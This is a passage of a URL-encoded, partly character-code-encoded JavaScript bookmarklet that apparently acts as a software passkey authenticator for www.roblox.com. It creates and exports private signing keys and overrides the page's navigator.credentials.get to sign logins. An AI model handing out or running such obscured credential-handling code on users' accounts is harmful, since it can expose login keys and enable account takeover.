2C114%2C114%2C97%2C121%2C115%2C46%2C114%2C101%2C100%2C117%2C99%2C101%2C40%2C40%2C115%2C105%2C122%2C101%2C44%2C32%2C97%2C114%2C114%2C97%2C121%2C41%2C32%2C61%2C62%2C32%2C115%2C105%2C122%2C101%2C32%2C43%2C32%2C97%2C114%2C114%2C97%2C121%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C44%2C32%2C48%2C41%2C41%2C59%2C32%2C108%2C101%2C116%2C32%2C111%2C102%2C102%2C115%2C101%2C116%2C32%2C61%2C32%2C48%2C59%2C32%2C102%2C111%2C114%2C32%2C40%2C99%2C111%2C110%2C115%2C116%2C32%2C97%2C114%2C114%2C97%2C121%2C32%2C111%2C102%2C32%2C97%2C114%2C114%2C97%2C121%2C115%2C41%2C32%2C123%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C46%2C115%2C101%2C116%2C40%2C97%2C114%2C114%2C97%2C121%2C44%2C32%2C111%2C102%2C102%2C115%2C101%2C116%2C41%2C59%2C32%2C111%2C102%2C102%2C115%2C101%2C116%2C32%2C43%2C61%2C32%2C97%2C114%2C114%2C97%2C121%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C59%2C32%2C125%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C59%2C32%2C125%2C59%2C32%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C99%2C98%2C111%2C114%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C32%2C123%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C104%2C101%2C97%2C100%2C32%2C61%2C32%2C40%2C109%2C97%2C106%2C111%2C114%2C44%2C32%2C110%2C41%2C32%2C61%2C62%2C32%2C123%2C32%2C105%2C102%2C32%2C40%2C110%2C32%2C60%2C32%2C50%2C52%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C91%2C40%2C109%2C97%2C106%2C111%2C114%2C32%2C60%2C60%2C32%2C53%2C41%2C32%2C124%2C32%2C110%2C93%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C110%2C32%2C60%2C32%2C50%2C53%2C54%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C91%2C40%2C109%2C97%2C106%2C111%2C114%2C32%2C60%2C60%2C32%2C53%2C41%2C32%2C124%2C32%2C50%2C52%2C44%2C32%2C110%2C93%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C110%2C32%2C60%2C32%2C54%2C53%2C53%2C51%2C54%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C91%2C40%2C109%2C97%2C106%2C111%2C114%2C32%2C60%2C60%2C32%2C53%2C41%2C32%2C124%2C32%2C50%2C53%2C44%2C32%2C110%2C32%2C62%2C62%2C32%2C56%2C44%2C32%2C110%2C32%2C38%2C32%2C50%2C53%2C53%2C93%2C41%2C59%2C32%2C116%2C104%2C114%2C111%2C119%2C32%2C110%2C101%2C119%2C32%2C69%2C114%2C114%2C111%2C114%2C40%29Registration%20field%20is%20too%20large.__S%2841%2C59%2C32%2C125%2C59%2C32%2C105%2C102%2C32%2C40%2C78%2C117%2C109%2C98%2C101%2C114%2C46%2C105%2C115%2C83%2C97%2C102%2C101%2C73%2C110%2C116%2C101%2C103%2C101%2C114%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C118%2C97%2C108%2C117%2C101%2C32%2C60%2C32%2C48%2C32%2C63%2C32%2C104%2C101%2C97%2C100%2C40%2C49%2C44%2C32%2C45%2C49%2C32%2C45%2C32%2C118%2C97%2C108%2C117%2C101%2C41%2C32%2C58%2C32%2C104%2C101%2C97%2C100%2C40%2C48%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C118%2C97%2C108%2C117%2C101%2C32%2C105%2C110%2C115%2C116%2C97%2C110%2C99%2C101%2C111%2C102%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C106%2C111%2C105%2C110%2C40%2C104%2C101%2C97%2C100%2C40%2C50%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C41%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C116%2C121%2C112%2C101%2C111%2C102%2C32%2C118%2C97%2C108%2C117%2C101%2C32%2C61%2C61%2C61%2C32%29string__S%2841%2C32%2C123%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C98%2C121%2C116%2C101%2C115%2C32%2C61%2C32%2C101%2C110%2C99%2C111%2C100%2C101%2C114%2C46%2C101%2C110%2C99%2C111%2C100%2C101%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C59%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C106%2C111%2C105%2C110%2C40%2C104%2C101%2C97%2C100%2C40%2C51%2C44%2C32%2C98%2C121%2C116%2C101%2C115%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C41%2C44%2C32%2C98%2C121%2C116%2C101%2C115%2C41%2C59%2C32%2C125%2C32%2C105%2C102%2C32%2C40%2C118%2C97%2C108%2C117%2C101%2C32%2C105%2C110%2C115%2C116%2C97%2C110%2C99%2C101%2C111%2C102%2C32%2C77%2C97%2C112%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C106%2C111%2C105%2C110%2C40%2C104%2C101%2C97%2C100%2C40%2C53%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C115%2C105%2C122%2C101%2C41%2C44%2C32%2C46%2C46%2C46%2C91%2C46%2C46%2C46%2C118%2C97%2C108%2C117%2C101%2C93%2C46%2C102%2C108%2C97%2C116%2C77%2C97%2C112%2C40%2C40%2C91%2C107%2C44%2C32%2C118%2C93%2C41%2C32%2C61%2C62%2C32%2C91%2C99%2C98%2C111%2C114%2C40%2C107%2C41%2C44%2C32%2C99%2C98%2C111%2C114%2C40%2C118%2C41%2C93%2C41%2C41%2C59%2C32%2C116%2C104%2C114%2C111%2C119%2C32%2C110%2C101%2C119%2C32%2C69%2C114%2C114%2C111%2C114%2C40%29Unsupported%20registration%20field.__S%2841%2C59%2C32%2C125%2C32%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C118%2C97%2C108%2C105%2C100%2C97%2C116%2C101%2C40%2C111%2C112%2C116%2C105%2C111%2C110%2C115%2C44%2C32%2C111%2C114%2C105%2C103%2C105%2C110%2C41%2C32%2C123%2C32%2C105%2C102%2C32%2C40%2C111%2C114%2C105%2C103%2C105%2C110%2C32%2C33%2C61%2C61%2C32%29https%3A%2F%2Fwww.roblox.com%27%29%20throw%20new%20Error%28%27This%20bookmark%20only%20supports%20www.roblox.com.%27%29%3B%20const%20rpId%20%3D%20options.rp%3F.id%20%7C%7C%20%27www.roblox.com%27%3B%20if%20%28%21%5B%27roblox.com%27%2C%20%27www.roblox.com%27%5D.includes%28rpId%29%29%20throw%20new%20Error%28%27Unexpected%20relying-party%20ID.%27%29%3B%20const%20selection%20%3D%20options.authenticatorSelection%20%7C%7C%20%7B%7D%3B%20if%20%28selection.userVerification%20%3D%3D%3D%20%27required%27%29%20%7B%20throw%20new%20Error%28%27Roblox%20requires%20authenticator-level%20user%20verification.%20This%20software%20exporter%20cannot%20satisfy%20that%20requirement.%20Use%20Roblox%E2%80%99s%20device%20passkey%20setup.%20No%20key%20was%20created.%27%29%3B%20%7D%20if%20%28selection.authenticatorAttachment%20%3D%3D%3D%20%27cross-platform%27%29%20throw%20new%20Error%28%27Roblox%20requested%20an%20external%20authenticator%2C%20which%20this%20bookmark%20does%20not%20provide.%27%29%3B%20if%20%28options.attestation%20%26%26%20%21%5B%27none%27%2C%20%27direct%27%2C%20%27indirect%27%5D.includes%28options.attestation%29%29%20throw%20new%20Error%28%27Roblox%20requested%20attestation%20this%20software%20exporter%20cannot%20provide.%20No%20key%20was%20created.%27%29%3B%20if%20%28%21options.pubKeyCredParams%3F.some%28item%20%3D%3E%20item.type%20%3D%3D%3D%20%27public-key%27%20%26%26%20item.alg%20%3D%3D%3D%20-7%29%29%20throw%20new%20Error%28%27Roblox%20did%20not%20offer%20the%20supported%20P-256%20algorithm.%27%29%3B%20if%20%28Object.keys%28options.extensions%20%7C%7C%20%7B%7D%29.some%28key%20%3D%3E%20key%20%21%3D%3D%20%27credProps%27%29%29%20throw%20new%20Error%28%27Roblox%20requested%20an%20authenticator%20extension%20this%20exporter%20does%20not%20support.%27%29%3B%20const%20challenge%20%3D%20binary%28options.challenge%29%3B%20const%20user%20%3D%20binary%28options.user%3F.id%29%3B%20if%20%28challenge.length%20%3C%2016%20%7C%7C%20challenge.length%20%3E%201024%20%7C%7C%20%21user.length%20%7C%7C%20user.length%20%3E%2064%29%20throw%20new%20Error%28%27Invalid%20registration%20challenge%20or%20user%20handle.%27%29%3B%20return%20%7B%20rpId%2C%20challenge%2C%20user%20%7D%3B%20%7D%20async%20function%20make%28options%2C%20origin%2C%20approved%29%20%7B%20const%20%7B%20rpId%2C%20challenge%2C%20user%20%7D%20%3D%20validate%28options%2C%20origin%29%3B%20if%20%28approved%20%21%3D%3D%20true%29%20throw%20new%20Error%28%27Creation%20and%20private-key%20export%20were%20not%20approved.%27%29%3B%20const%20pair%20%3D%20await%20crypto.subtle.generateKey%28%7B%20name%3A%20%27ECDSA%27%2C%20namedCurve%3A%20%27P-256%27%20%7D%2C%20true%2C%20%5B%27sign%27%2C%20%27verify%27%5D%29%3B%20const%20jwk%20%3D%20await%20crypto.subtle.exportKey%28%27jwk%27%2C%20pair.privateKey%29%3B%20const%20publicKey%20%3D%20new%20Uint8Array%28await%20crypto.subtle.exportKey%28%27spki%27%2C%20pair.publicKey%29%29%3B%20const%20id%20%3D%20crypto.getRandomValues%28new%20Uint8Array%2832%29%29%3B%20const%20rpHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20encoder.encode%28rpId%29%29%29%3B%20const%20cose%20%3D%20cbor%28new%20Map%28%5B%5B1%2C%202%5D%2C%20%5B3%2C%20-7%5D%2C%20%5B-1%2C%201%5D%2C%20%5B-2%2C%20from64%28jwk.x%29%5D%2C%20%5B-3%2C%20from64%28jwk.y%29%5D%5D%29%29%3B%20const%20authData%20%3D%20join%28rpHash%2C%20new%20Uint8Array%28%5B0x41%5D%29%2C%20new%20Uint8Array%284%29%2C%20new%20Uint8Array%2816%29%2C%20new%20Uint8Array%28%5B0%2C%20id.length%5D%29%2C%20id%2C%20cose%29%3B%20const%20clientData%20%3D%20encoder.encode%28JSON.stringify%28%7B%20type%3A%20%27webauthn.create%27%2C%20challenge%3A%20base64url%28challenge%29%2C%20origin%2C%20crossOrigin%3A%20false%20%7D%29%29%3B%20let%20format%20%3D%20%27none%27%3B%20let%20statement%20%3D%20new%20Map%28%29%3B%20if%20%28%5B%27direct%27%2C%20%27indirect%27%5D.includes%28options.attestation%29%29%20%7B%20const%20clientHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20clientData%29%29%3B%20const%20signature%20%3D%20der%28new%20Uint8Array%28await%20crypto.subtle.sign%28%7B%20name%3A%20%27ECDSA%27%2C%20hash%3A%20%27SHA-256%27%20%7D%2C%20pair.privateKey%2C%20join%28authData%2C%20clientHash%29%29%29%29%3B%20format%20%3D%20%27packed%27%3B%20statement%20%3D%20new%20Map%28%5B%5B%27alg%27%2C%20-7%5D%2C%20%5B%27sig%27%2C%20signature%5D%5D%29%3B%20%7D%20const%20attestation%20%3D%20cbor%28new%20Map%28%5B%5B%27fmt%27%2C%20format%5D%2C%20%5B%27attStmt%27%2C%20statement%5D%2C%20%5B%27authData%27%2C%20authData%5D%5D%29%29%3B%20return%20%7B%20publicData%3A%20%7B%20id%3A%20base64url%28id%29%2C%20clientDataJSON%3A%20base64url%28clientData%29%2C%20attestationObject%3A%20base64url%28attestation%29%2C%20authenticatorData%3A%20base64url%28authData%29%2C%20publicKey%3A%20base64url%28publicKey%29%2C%20clientExtensionResults%3A%20options.extensions%3F.credProps%20%3F%20%7B%20credProps%3A%20%7B%20rk%3A%20false%20%7D%20%7D%20%3A%20%7B%7D%2C%20%7D%2C%20privateExport%3A%20%7B%20format%3A%20%27software-webauthn-credential-v1%27%2C%20credential_id%3A%20base64url%28id%29%2C%20user_handle%3A%20base64url%28user%29%2C%20x%3A%20jwk.x%2C%20y%3A%20jwk.y%2C%20d%3A%20jwk.d%2C%20rpId%2C%20algorithm%3A%20%27ES256%27%2C%20created_at%3A%20new%20Date%28%29.toISOString%28%29%2C%20user_verified%3A%20false%2C%20resident_key%3A%20false%2C%20account_name%3A%20String%28options.user%3F.name%20%7C%7C%20%27%27%29.slice%280%2C%20128%29%2C%20account_display_name%3A%20String%28options.user%3F.displayName%20%7C%7C%20%27%27%29.slice%280%2C%20128%29%2C%20registration_status%3A%20%27unconfirmed%3A%20check%20Roblox%20Account%20Settings%20before%20treating%20this%20as%20a%20registered%20login%20credential%27%2C%20note%3A%20%27This%20file%20contains%20a%20software%20credential%20private%20key.%20It%20is%20not%20a%20Google%20Password%20Manager%20or%20Windows%20Hello%20passkey%20export.%20Keep%20it%20private.%27%2C%20%7D%2C%20%7D%3B%20%7D%20function%20credential%28win%2C%20data%29%20%7B%20const%20buffer%20%3D%20value%20%3D%3E%20new%20win.Uint8Array%28from64%28value%29%29.buffer%3B%20const%20define%20%3D%20%28object%2C%20fields%29%20%3D%3E%20win.Object.defineProperties%28object%2C%20Object.fromEntries%28Object.entries%28fields%29.map%28%28%5Bkey%2C%20value%5D%29%20%3D%3E%20%5Bkey%2C%20%7B%20value%2C%20enumerable%3A%20true%2C%20configurable%3A%20true%20%7D%5D%29%29%29%3B%20const%20responseJson%20%3D%20%28%29%20%3D%3E%20%28%7B%20clientDataJSON%3A%20data.clientDataJSON%2C%20attestationObject%3A%20data.attestationObject%2C%20authenticatorData%3A%20data.authenticatorData%2C%20publicKey%3A%20data.publicKey%2C%20publicKeyAlgorithm%3A%20-7%2C%20transports%3A%20%5B%5D%20%7D%29%3B%20const%20response%20%3D%20define%28win.Object.create%28win.AuthenticatorAttestationResponse.prototype%29%2C%20%7B%20clientDataJSON%3A%20buffer%28data.clientDataJSON%29%2C%20attestationObject%3A%20buffer%28data.attestationObject%29%2C%20getAuthenticatorData%3A%20%28%29%20%3D%3E%20buffer%28data.authenticatorData%29%2C%20getPublicKey%3A%20%28%29%20%3D%3E%20buffer%28data.publicKey%29%2C%20getPublicKeyAlgorithm%3A%20%28%29%20%3D%3E%20-7%2C%20getTransports%3A%20%28%29%20%3D%3E%20%5B%5D%2C%20toJSON%3A%20responseJson%2C%20%7D%29%3B%20return%20define%28win.Object.create%28win.PublicKeyCredential.prototype%29%2C%20%7B%20id%3A%20data.id%2C%20rawId%3A%20buffer%28data.id%29%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20response%2C%20getClientExtensionResults%3A%20%28%29%20%3D%3E%20data.clientExtensionResults%2C%20toJSON%3A%20%28%29%20%3D%3E%20%28%7B%20id%3A%20data.id%2C%20rawId%3A%20data.id%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20clientExtensionResults%3A%20data.clientExtensionResults%2C%20response%3A%20responseJson%28%29%20%7D%29%2C%20%7D%29%3B%20%7D%20const%20identity%20%3D%20record%20%3D%3E%20JSON.stringify%28%5Brecord.rpId%2C%20record.credential_id%2C%20record.user_handle%5D%29%3B%20const%20storageKey%20%3D%20record%20%3D%3E%20record.rpId%20%2B%20%27%3A%27%20%2B%20record.credential_id%3B%20async%20function%20wrappingKey%28password%2C%20salt%29%20%7B%20if%20%28typeof%20password%20%21%3D%3D%20%27string%27%20%7C%7C%20password.length%20%3C%2012%29%20throw%20new%20Error%28%27Use%20a%20separate%20local%20exporter%20password%20of%20at%20least%2012%20characters.%27%29%3B%20const%20material%20%3D%20await%20crypto.subtle.importKey%28%27raw%27%2C%20encoder.encode%28password%29%2C%20%27PBKDF2%27%2C%20false%2C%20%5B%27deriveKey%27%5D%29%3B%20return%20crypto.subtle.deriveKey%28%7B%20name%3A%20%27PBKDF2%27%2C%20hash%3A%20%27SHA-256%27%2C%20salt%2C%20iterations%3A%20600000%20%7D%2C%20material%2C%20%7B%20name%3A%20%27AES-GCM%27%2C%20length%3A%20256%20%7D%2C%20false%2C%20%5B%27encrypt%27%2C%20%27decrypt%27%5D%29%3B%20%7D%20async%20function%20seal%28record%2C%20protection%29%20%7B%20const%20legacy%20%3D%20typeof%20protection%20%3D%3D%3D%20%27string%27%3B%20const%20salt%20%3D%20legacy%20%3F%20crypto.getRandomValues%28new%20Uint8Array%2816%29%29%20%3A%20null%3B%20const%20iv%20%3D%20crypto.getRandomValues%28new%20Uint8Array%2812%29%29%3B%20const%20key%20%3D%20legacy%20%3F%20await%20wrappingKey%28protection%2C%20salt%29%20%3A%20protection%3B%20const%20plaintext%20%3D%20encoder.encode%28JSON.stringify%28record%29%29%3B%20try%20%7B%20const%20ciphertext%20%3D%20new%20Uint8Array%28await%20crypto.subtle.encrypt%28%7B%20name%3A%20%27AES-GCM%27%2C%20iv%2C%20additionalData%3A%20encoder.encode%28identity%28record%29%29%20%7D%2C%20key%2C%20plaintext%29%29%3B%20return%20%7B%20key%3A%20storageKey%28record%29%2C%20rpId%3A%20record.rpId%2C%20credential_id%3A%20record.credential_id%2C%20user_handle%3A%20record.user_handle%2C%20account_name%3A%20record.account_name%2C%20account_display_name%3A%20record.account_display_name%2C%20created_at%3A%20record.created_at%2C%20signCount%3A%200%2C%20envelope%3A%20%7B%20version%3A%20legacy%20%3F%201%20%3A%202%2C%20...%28legacy%20%3F%20%7B%20salt%3A%20base64url%28salt%29%20%7D%20%3A%20%7B%7D%29%2C%20iv%3A%20base64url%28iv%29%2C%20ciphertext%3A%20base64url%28ciphertext%29%20%7D%20%7D%3B%20%7D%20finally%20%7B%20plaintext.fill%280%29%3B%20%7D%20%7D%20async%20function%20unseal%28stored%2C%20protection%29%20%7B%20if%20%28%21%5B1%2C%202%5D.includes%28stored.envelope%3F.version%29%20%7C%7C%20stored.key%20%21%3D%3D%20storageKey%28stored%29%29%20throw%20new%20Error%28%27Unsupported%20or%20damaged%20saved%20credential.%27%29%3B%20try%20%7B%20const%20key%20%3D%20stored.envelope.version%20%3D%3D%3D%201%20%3F%20await%20wrappingKey%28protection%2C%20from64%28stored.envelope.salt%29%29%20%3A%20protection%3B%20const%20plaintext%20%3D%20new%20Uint8Array%28await%20crypto.subtle.decrypt%28%7B%20name%3A%20%27AES-GCM%27%2C%20iv%3A%20from64%28stored.envelope.iv%29%2C%20additionalData%3A%20encoder.encode%28identity%28stored%29%29%20%7D%2C%20key%2C%20from64%28stored.envelope.ciphertext%29%29%29%3B%20try%20%7B%20const%20record%20%3D%20JSON.parse%28new%20TextDecoder%28%29.decode%28plaintext%29%29%3B%20if%20%28identity%28record%29%20%21%3D%3D%20identity%28stored%29%29%20throw%20Error%28%29%3B%20return%20record%3B%20%7D%20finally%20%7B%20plaintext.fill%280%29%3B%20%7D%20%7D%20catch%20%7B%20throw%20new%20Error%28stored.envelope.version%20%3D%3D%3D%201%20%3F%20%27The%20old%20local%20exporter%20password%20is%20incorrect%20or%20the%20saved%20credential%20was%20damaged.%27%20%3A%20%27The%20saved%20credential%20could%20not%20be%20unlocked%20by%20this%20browser.%27%29%3B%20%7D%20%7D%20function%20der%28signature%29%20%7B%20if%20%28signature.length%20%21%3D%3D%2064%29%20throw%20new%20Error%28%27Unexpected%20P-256%20signature%20encoding.%27%29%3B%20const%20integer%20%3D%20bytes%20%3D%3E%20%7B%20let%20start%20%3D%200%3B%20while%20%28start%20%3C%20bytes.length%20-%201%20%26%26%20bytes%5Bstart%5D%20%3D%3D%3D%200%29%20start%2B%2B%3B%20let%20value%20%3D%20bytes.slice%28start%29%3B%20if%20%28value%5B0%5D%20%26%20128%29%20value%20%3D%20join%28new%20Uint8Array%28%5B0%5D%29%2C%20value%29%3B%20return%20join%28new%20Uint8Array%28%5B2%2C%20value.length%5D%29%2C%20value%29%3B%20%7D%3B%20const%20body%20%3D%20join%28integer%28signature.slice%280%2C%2032%29%29%2C%20integer%28signature.slice%2832%29%29%29%3B%20return%20join%28new%20Uint8Array%28%5B48%2C%20body.length%5D%29%2C%20body%29%3B%20%7D%20async%20function%20assertion%28options%2C%20origin%2C%20store%2C%20callbacks%2C%20cancelled%20%3D%20%28%29%20%3D%3E%20false%29%20%7B%20if%20%28origin%20%21%3D%3D%20%27https%3A%2F%2Fwww.roblox.com%27%29%20throw%20new%20Error%28%27Unexpected%20sign-in%20origin.%27%29%3B%20const%20rpId%20%3D%20options.rpId%20%7C%7C%20%27www.roblox.com%27%3B%20if%20%28%21%5B%27roblox.com%27%2C%20%27www.roblox.com%27%5D.includes%28rpId%29%29%20throw%20new%20Error%28%27Unexpected%20relying-party%20ID.%27%29%3B%20if%20%28options.userVerification%20%3D%3D%3D%20%27required%27%29%20throw%20new%20Error%28%27This%20software%20authenticator%20cannot%20satisfy%20required%20device%20verification.%27%29%3B%20if%20%28Object.keys%28options.extensions%20%7C%7C%20%7B%7D%29.length%29%20throw%20new%20Error%28%27This%20sign-in%20requested%20an%20unsupported%20authenticator%20extension.%27%29%3B%20const%20challenge%20%3D%20binary%28options.challenge%29%3B%20if%20%28challenge.length%20%3C%2016%20%7C%7C%20challenge.length%20%3E%201024%29%20throw%20new%20Error%28%27Invalid%20sign-in%20challenge.%27%29%3B%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20const%20allowed%20%3D%20options.allowCredentials%3F.map%28item%20%3D%3E%20%7B%20if%20%28item.type%20%21%3D%3D%20%27public-key%27%29%20throw%20new%20Error%28%27Unexpected%20allowed%20credential%20type.%27%29%3B%20return%20base64url%28binary%28item.id%29%29%3B%20%7D%29%3B%20const%20records%20%3D%20%28await%20store.list%28rpId%29%29.filter%28item%20%3D%3E%20%21allowed%3F.length%20%7C%7C%20allowed.includes%28item.credential_id%29%29%3B%20if%20%28%21records.length%29%20throw%20new%20Error%28%27No%20matching%20software%20credential%20is%20saved%20in%20this%20browser.%27%29%3B%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20const%20chosenKey%20%3D%20callbacks.choose%28records%29%3B%20const%20stored%20%3D%20records.find%28item%20%3D%3E%20item.key%20%3D%3D%3D%20chosenKey%29%3B%20if%20%28%21stored%29%20throw%20new%20Error%28%27Software%20credential%20selection%20was%20cancelled.%27%29%3B%20const%20legacy%20%3D%20stored.envelope.version%20%3D%3D%3D%201%3B%20if%20%28legacy%20%26%26%20%21callbacks.password%29%20throw%20new%20Error%28%27This%20older%20saved%20credential%20needs%20its%20original%20local%20exporter%20password.%27%29%3B%20const%20protection%20%3D%20legacy%20%3F%20callbacks.password%28%27unlock%27%2C%20stored%29%20%3A%20await%20store.wrappingKey%28%29%3B%20const%20record%20%3D%20await%20unseal%28stored%2C%20protection%29%3B%20if%20%28legacy%29%20%7B%20const%20replacement%20%3D%20await%20seal%28record%2C%20await%20store.wrappingKey%28%29%29%3B%20await%20store.upgradeEnvelope%28stored.key%2C%20replacement.envelope%29%3B%20%7D%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20const%20count%20%3D%20await%20store.nextCounter%28stored.key%29%3B%20const%20counter%20%3D%20new%20Uint8Array%284%29%3B%20new%20DataView%28counter.buffer%29.setUint32%280%2C%20count%2C%20false%29%3B%20const%20rpHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20encoder.encode%28rpId%29%29%29%3B%20const%20authenticatorData%20%3D%20join%28rpHash%2C%20new%20Uint8Array%28%5B1%5D%29%2C%20counter%29%3B%20const%20clientData%20%3D%20encoder.encode%28JSON.stringify%28%7B%20type%3A%20%27webauthn.get%27%2C%20challenge%3A%20base64url%28challenge%29%2C%20origin%2C%20crossOrigin%3A%20false%20%7D%29%29%3B%20const%20clientHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20clientData%29%29%3B%20const%20key%20%3D%20await%20crypto.subtle.importKey%28%27jwk%27%2C%20%7B%20kty%3A%20%27EC%27%2C%20crv%3A%20%27P-256%27%2C%20x%3A%20record.x%2C%20y%3A%20record.y%2C%20d%3A%20record.d%20%7D%2C%20%7B%20name%3A%20%27ECDSA%27%2C%20namedCurve%3A%20%27P-256%27%20%7D%2C%20false%2C%20%5B%27sign%27%5D%29%3B%20const%20signature%20%3D%20der%28new%20Uint8Array%28await%20crypto.subtle.sign%28%7B%20name%3A%20%27ECDSA%27%2C%20hash%3A%20%27SHA-256%27%20%7D%2C%20key%2C%20join%28authenticatorData%2C%20clientHash%29%29%29%29%3B%20if%20%28cancelled%28%29%29%20throw%20new%20Error%28%27Sign-in%20was%20cancelled.%27%29%3B%20return%20%7B%20id%3A%20record.credential_id%2C%20userHandle%3A%20record.user_handle%2C%20clientDataJSON%3A%20base64url%28clientData%29%2C%20authenticatorData%3A%20base64url%28authenticatorData%29%2C%20signature%3A%20base64url%28signature%29%20%7D%3B%20%7D%20function%20assertionCredential%28win%2C%20data%29%20%7B%20const%20buffer%20%3D%20value%20%3D%3E%20new%20win.Uint8Array%28from64%28value%29%29.buffer%3B%20const%20define%20%3D%20%28object%2C%20fields%29%20%3D%3E%20win.Object.defineProperties%28object%2C%20Object.fromEntries%28Object.entries%28fields%29.map%28%28%5Bkey%2C%20value%5D%29%20%3D%3E%20%5Bkey%2C%20%7B%20value%2C%20enumerable%3A%20true%2C%20configurable%3A%20true%20%7D%5D%29%29%29%3B%20const%20responseJson%20%3D%20%28%29%20%3D%3E%20%28%7B%20clientDataJSON%3A%20data.clientDataJSON%2C%20authenticatorData%3A%20data.authenticatorData%2C%20signature%3A%20data.signature%2C%20userHandle%3A%20data.userHandle%20%7D%29%3B%20const%20response%20%3D%20define%28win.Object.create%28win.AuthenticatorAssertionResponse.prototype%29%2C%20%7B%20clientDataJSON%3A%20buffer%28data.clientDataJSON%29%2C%20authenticatorData%3A%20buffer%28data.authenticatorData%29%2C%20signature%3A%20buffer%28data.signature%29%2C%20userHandle%3A%20buffer%28data.userHandle%29%2C%20toJSON%3A%20responseJson%2C%20%7D%29%3B%20return%20define%28win.Object.create%28win.PublicKeyCredential.prototype%29%2C%20%7B%20id%3A%20data.id%2C%20rawId%3A%20buffer%28data.id%29%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20response%2C%20getClientExtensionResults%3A%20%28%29%20%3D%3E%20%28%7B%7D%29%2C%20toJSON%3A%20%28%29%20%3D%3E%20%28%7B%20id%3A%20data.id%2C%20rawId%3A%20data.id%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20response%3A%20responseJson%28%29%2C%20clientExtensionResults%3A%20%7B%7D%20%7D%29%2C%20%7D%29%3B%20%7D%20function%20installGet%28win%2C%20callbacks%2C%20store%29%20%7B%20if%20%28win.location.origin%20%21%3D%3D%20%27https%3A%2F%2Fwww.roblox.com%27%29%20throw%20new%20Error%28%27Unexpected%20sign-in%20origin.%27%29%3B%20const%20container%20%3D%20win.navigator.credentials%3B%20container.get%3F.__softwareCredentialRestore%3F.%28%29%3B%20const%20original%20%3D%20container.get%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28container%2C%20%27get%27%29%3B%20let%20active%20%3D%20true%3B%20let%20busy%20%3D%20false%3B%20const%20expires%20%3D%20Date.now%28%29%20%2B%205%20%2A%2060%20%2A%201000%3B%20const%20replacement%20%3D%20async%20function%28options%29%20%7B%20if%20%28%21options%3F.publicKey%29%20return%20Reflect.apply%28original%2C%20container%2C%20%5Boptions%5D%29%3B%20const%20cancelled%20%3D%20%28%29%20%3D%3E%20%21active%20%7C%7C%20Date.now%28%29%20%3E%20expires%20%7C%7C%20%21%21options.signal%3F.aborted%3B%20let%20ownsOperation%20%3D%20false%3B%20try%20%7B%20if%20%28busy%29%20throw%20new%20Error%28%27A%20software%20credential%20sign-in%20is%20already%20in%20progress.%27%29%3B%20busy%20%3D%20true%3B%20ownsOperation%20%3D%20true%3B%20const%20data%20%3D%20await%20assertion%28options.publicKey%2C%20win.location.origin%2C%20store%2C%20callbacks%2C%20cancelled%29%3B%20return%20assertionCredential%28win%2C%20data%29%3B%20%7D%20catch%20%28error%29%20%7B%20callbacks.error%28error.message%20%7C%7C%20%27Software%20credential%20sign-in%20failed.%27%29%3B%20throw%20new%20win.DOMException%28error.message%20%7C%7C%20%27Software%20credential%20sign-in%20failed.%27%2C%20%27NotAllowedError%27%29%3B%20%7D%20finally%20%7B%20if%20%28ownsOperation%29%20busy%20%3D%20false%3B%20%7D%20%7D%3B%20const%20restore%20%3D%20%28%29%20%3D%3E%20%7B%20active%20%3D%20false%3B%20if%20%28container.get%20%3D%3D%3D%20replacement%29%20%7B%20if%20%28descriptor%29%20Object.defineProperty%28container%2C%20%27get%27%2C%2